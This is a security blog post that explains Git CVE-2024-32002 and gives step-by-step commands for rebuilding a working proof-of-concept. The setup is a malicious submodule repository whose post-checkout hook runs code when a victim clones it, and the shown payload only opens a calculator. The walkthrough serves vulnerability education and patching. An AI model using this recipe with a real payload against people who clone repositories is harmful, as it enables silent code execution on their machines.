Git RCE - CVE 2024-32002 | Technical Walkthrough & Recreating The Bug Locally

By Aseem Shrey on 19th May, 2024

Git RCE - CVE 2024-32002 | Technical Walkthrough & Recreating The Bug Locally

In this blog we will do a deep dive of CVE-2024-32002, that allowed a remote code execution (RCE) by just cloning a repo.

As per github blog -

CVE-2024-32002 (Critical, Windows & macOS): Git repositories with submodules can trick Git into executing a hook from the .git/ directory during a clone operation, leading to Remote Code Execution.

- github.blog on 14 May 2024

Affected Versions - v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3

Upgrade it to avoid remote code execution by cloning a malicious repo.

tl;dr

Repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule's worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed.

- Github Security Advisory ( GHSA-8h77-4q3w-gfgv )

Thus remote code exectuion (RCE) can be done just by cloning a specially crafted repo.

The Commit

In the NIST database on CVE-2024-32002, you'll find reference to the code commit, where this bug was fixed. Let's go there, here's the commit link.

git commit

Git Commit Fixing the Issue

If you check the commit, there are two files -

  1. builtin/submodule--helper.c
  2. t/t7406-submodule-update.sh

The second file ( t/t7406-submodule-update.sh ), contains the test for ensuring that this bug is checked for automatically in further versions of git.

The way it does is by creating a file tell.tale in the current directory, if there's bug in git and code is executed, post cloning, that file should exist at the end of the test. That is what this whole test case is about.

We use this to create our exploit, in this case the malicious repo, that when cloned executes the code on victim's machine.

Let's dive into the code -

test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
	'submodule paths must not follow symlinks' '
	# This is only needed because we want to run this in a self-contained
	# test without having to spin up an HTTP server; However, it would not
	# be needed in a real-world scenario where the submodule is simply
	# hosted on a public site.
	test_config_global protocol.file.allow always &&
	# Make sure that Git tries to use symlinks on Windows
	test_config_global core.symlinks true &&
	tell_tale_path="$PWD/tell.tale" &&
	git init hook &&
	(
		cd hook &&
		mkdir -p y/hooks &&
		write_script y/hooks/post-checkout <<-EOF &&
		echo HOOK-RUN >&2
		echo hook-run >"$tell_tale_path"
		EOF
		git add y/hooks/post-checkout &&
		test_tick &&
		git commit -m post-checkout
	) &&
	hook_repo_path="$(pwd)/hook" &&
	git init captain &&
	(
		cd captain &&
		git submodule add --name x/y "$hook_repo_path" A/modules/x &&
		test_tick &&
		git commit -m add-submodule &&
		printf .git >dotgit.txt &&
		git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
		printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
		git update-index --index-info <index.info &&
		test_tick &&
		git commit -m add-symlink
	) &&
	test_path_is_missing "$tell_tale_path" &&
	test_must_fail git clone --recursive captain hooked 2>err &&
	grep "directory not empty" err &&
	test_path_is_missing "$tell_tale_path"

Below is a breakdown of the code with detailed explanations for each part.

  1. Test Setup:

    test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
        'submodule paths must not follow symlinks' '

    This line starts a new test case. test_expect_success is a function used in Git's test framework. The test is labeled with CASE_INSENSITIVE_FS and SYMLINKS, indicating it's relevant for case-insensitive file systems and systems that support symlinks. The test description is 'submodule paths must not follow symlinks'.

  2. Global Configuration:

    test_config_global protocol.file.allow always &&
    test_config_global core.symlinks true &&

    These commands set global Git configuration:

    • protocol.file.allow always allows the file:// protocol for Git operations.
    • core.symlinks true ensures Git uses symlinks, specifically relevant on Windows systems.
    • This is only needed because this is a self-contained test without having to spin up an HTTP server. However, it would not be needed in a real-world scenario where the submodule is simply hosted on a public site.
  3. Define a Path for the Tell-tale File:

    tell_tale_path="$PWD/tell.tale" &&
    • This sets a variable tell_tale_path to a file named tell.tale in the current directory, which will be used to detect if the post-checkout hook runs.
  4. Initialize a Repository (hook) and Create a Hook:

    git init hook &&
    (
        cd hook &&
        mkdir -p y/hooks &&
        write_script y/hooks/post-checkout <<-EOF &&
        echo HOOK-RUN >&2
        echo hook-run >"$tell_tale_path"
        EOF
        git add y/hooks/post-checkout &&
        test_tick &&
        git commit -m post-checkout
    ) &&
    • Initializes a new Git repository named hook.
    • Navigates into the hook directory.
    • Creates the directory structure y/hooks.
    • Writes a post-checkout hook script that outputs HOOK-RUN and writes hook-run to tell_tale_path.
    • Adds and commits the post-checkout hook.
  5. Set Hook Repository Path:

    hook_repo_path="$(pwd)/hook" &&

    Sets a variable hook_repo_path to the absolute path of the hook repository.

  6. Initialize Another Repository (captain) and Add Submodule:

    git init captain &&
    (
        cd captain &&
        git submodule add --name x/y "$hook_repo_path" A/modules/x &&
        test_tick &&
        git commit -m add-submodule &&
    • Initialize a new Git repository named captain.
    • Navigate into the captain directory.
    • Adds the hook repository as a submodule under A/modules/x with the name x/y.
    • Commit the addition of the submodule.
  7. Create a Symlink to .git Directory:

        printf .git >dotgit.txt &&
        git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
        printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
        git update-index --index-info <index.info &&
        test_tick &&
        git commit -m add-symlink
    ) &&
    • In this section, the test handcrafts a symlink to .git folder and updates it to git index.
    • Git index is the place where, staging things are kept. You can read more here.
    • Create a file dotgit.txt containing .git string.
    • Create a Git blob object from dotgit.txt and stores its hash in dot-git.hash.
    • Prepare an index entry for a symlink (mode 120000) to .git using the hash from dot-git.hash.
    • Update the Git index with this entry and then commit the addition of the symlink.
  8. Ensure the Tell-tale File is Absent and Test Cloning:

    test_path_is_missing "$tell_tale_path" &&
    test_must_fail git clone --recursive captain hooked 2>err &&
    grep "directory not empty" err &&
    test_path_is_missing "$tell_tale_path"
    • Checks that tell_tale_path does not exist.
    • Attempts to clone the captain repository recursively into a new directory hooked. The clone operation is expected to fail.
    • Verifies that the error message contains "directory not empty".
    • Ensures tell_tale_path is still absent, confirming the hook did not run.

Reconstructing the bug from the fix

Now, the test has pretty much the whole exploit, except that it is written to be run without actually creating a git repo, hosted on any popular git service. We will do a few modifications and guide you to recreate the whole setup on github.com's hosted git repos.

  1. Create two empty repos - captain and hook.
    captain repo

    captain empty repo

hook repo

hook empty repo

2. git clone each of these onto your local machine.
git clone

git clone both the repos

3. Go into hook directory - cd hook and create a directory - y/hooks, with the command - mkdir -p y/hooks.

  1. Now create a file into the new hooks directory inside the y folder, with the name - post-checkout - touch ./y/hooks/post-checkout. So now the directory structure should look like this - hook file path

Now the reason we want to create the file named post-checkout specifically, is because post-checkout is a git hook. So with git hooks you can execute custom scripts when certain important actions occur, such as in this case, when the user checkouts code on their machine.

  1. In the ./y/hooks/post-checkout file add this code snippet -
#!/bin/sh
open -a Calculator

The above script opens a calculator, when executed on mac. For windows the payload would change to -

#!/bin/sh
powershell -Command "Start-Process 'calc.exe'"

post checkout code

post checkout code

6. Let's make this post-checkout executable - git update-index --chmod=+x y/hooks/post-checkout 7. Now stage the changes, commit the changes and push it - git add . && git commit -m post-checkout && git push origin main.

  1. Now we are done with the hook preparation.

Creating the captain repo

This is the repo that gets cloned by the victim and has the hook repo as it's submodule. Let's see how do we prepare this repo.

  1. Go into captain repo that we cloned earlier
  2. Add the hook repo as a submodule in this repo, using the following command - git submodule add --name x/y "[email protected]:SecureMyOrg/hook.git" A/modules/x . git-add-submodule
  3. Now we will create a file dotgit.txt with the contents as the string - .git
  4. After this we create a git hash-object of the same file and create an index.info file with the contents of the git hash-object. The value 120000 symbolises symlink in git.
printf .git >dotgit.txt 
git hash-object -w --stdin <dotgit.txt >dot-git.hash 
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info 

git-hash-object 5. We will use this index.info file to update the git index with our carefully crafted payload The index.info file structure used in the script is specifically formatted to update the Git index with a symlink entry. Let's break down the format and understand its components:

Structure of index.info

Each line in index.info represents an entry to be added to the Git index. The format of each line is:

<mode> <object hash> <stage>\t<path>

Where:

  • <mode>: File mode, which indicates the type of file and its permissions. For symlinks, this is 120000.
  • <object hash>: The SHA-1 hash of the object in the Git object database. This is a 40-character hexadecimal string that uniquely identifies the content of the file or symlink target.
  • <stage>: The stage number, used for handling merge conflicts. It's 0 for normal entries.
  • <path>: The file path relative to the root of the repository's working directory.

Example Breakdown

Here is the example line from index.info in the script:

printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info

Let's break this down:

  1. Mode (120000):

    • 120000 is the file mode for a symlink in Git.
    • It indicates that the entry is a symbolic link.
  2. Object Hash (%s):

    • This placeholder (%s) is replaced by the actual object hash from dot-git.hash.
    • The hash uniquely identifies the contents of the file (in this case, the .git string).
  3. Stage (0):

    • 0 indicates the normal stage, meaning there are no merge conflicts for this entry.
  4. Path (a):

    • a is the path where the symlink will be placed in the repository.
    • In the context of the script, this is just a placeholder and would typically be a valid file path.

Complete Example

Let's put this all together with a hypothetical hash:

Assume dot-git.hash contains e69de29bb2d1d6434b8b29ae775ad8c2e48c5391. The index.info line would be:

120000 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0	a

Lets see the current index. This can be done using the command - git ls-files --stage .

git-index-current

git current index and status

The git update-index --index-info command reads from index.info and updates the Git index accordingly. This command is used to stage the symlink entry in the index with the specified mode, hash, and path.

git-updated-index

git updated index

6. Now lets commit everything to the repo and push it.

git commit -m "Add symlink to .git"
git push origin main

After all this, you should've this directory structure -

git-final-directory-structure

file structure for both the repos

Showtime

Now we have everything ready. Lets see this in action. For this we just need to recursively git clone the captain repo. Here's how we can do this - git clone --recursive [email protected]:SecureMyOrg/captain.git hooked running exploit

Impact

Any person who clones a specially crafted repo, can be made to execute a malicious code without them being any wiser. Thus a remote code execution can be achieved by just cloning the repo.

Fix

To keep your systems safe, please upgrade your git to the latest version.

Thank you ! Hope you enjoyed reading this and learnt something as well.

About SecureMyOrg

SecureMyOrg, is a cybersecurity consulting services, with offices in the US and India. We build security for startups. If you're someone looking for a trusted cybersecurity partner, feel free to reach out to us - LinkedIn or Email. Some of the things people reach out to us for -

  1. Building their cybersecurity program from scratch - setting up cloud security using cost-effective tools, SIEM for alert monitoring, building policies for the company
  2. Vulnerability Assessment and Penetration Testing ( VAPT ) - We have certified professionals, with certifications like OSCP, CREST - CPSA & CRT, CKA and CKS
  3. DevSecOps consulting
  4. Red Teaming activity
  5. Regular security audits, before product release
  6. Full time security engineers.

References

  1. NIST CVE 2024-32002
  2. Github Security Advisory
  3. git commit with the test
  4. Test Repos - hook & captain

Subscribe to our newsletter !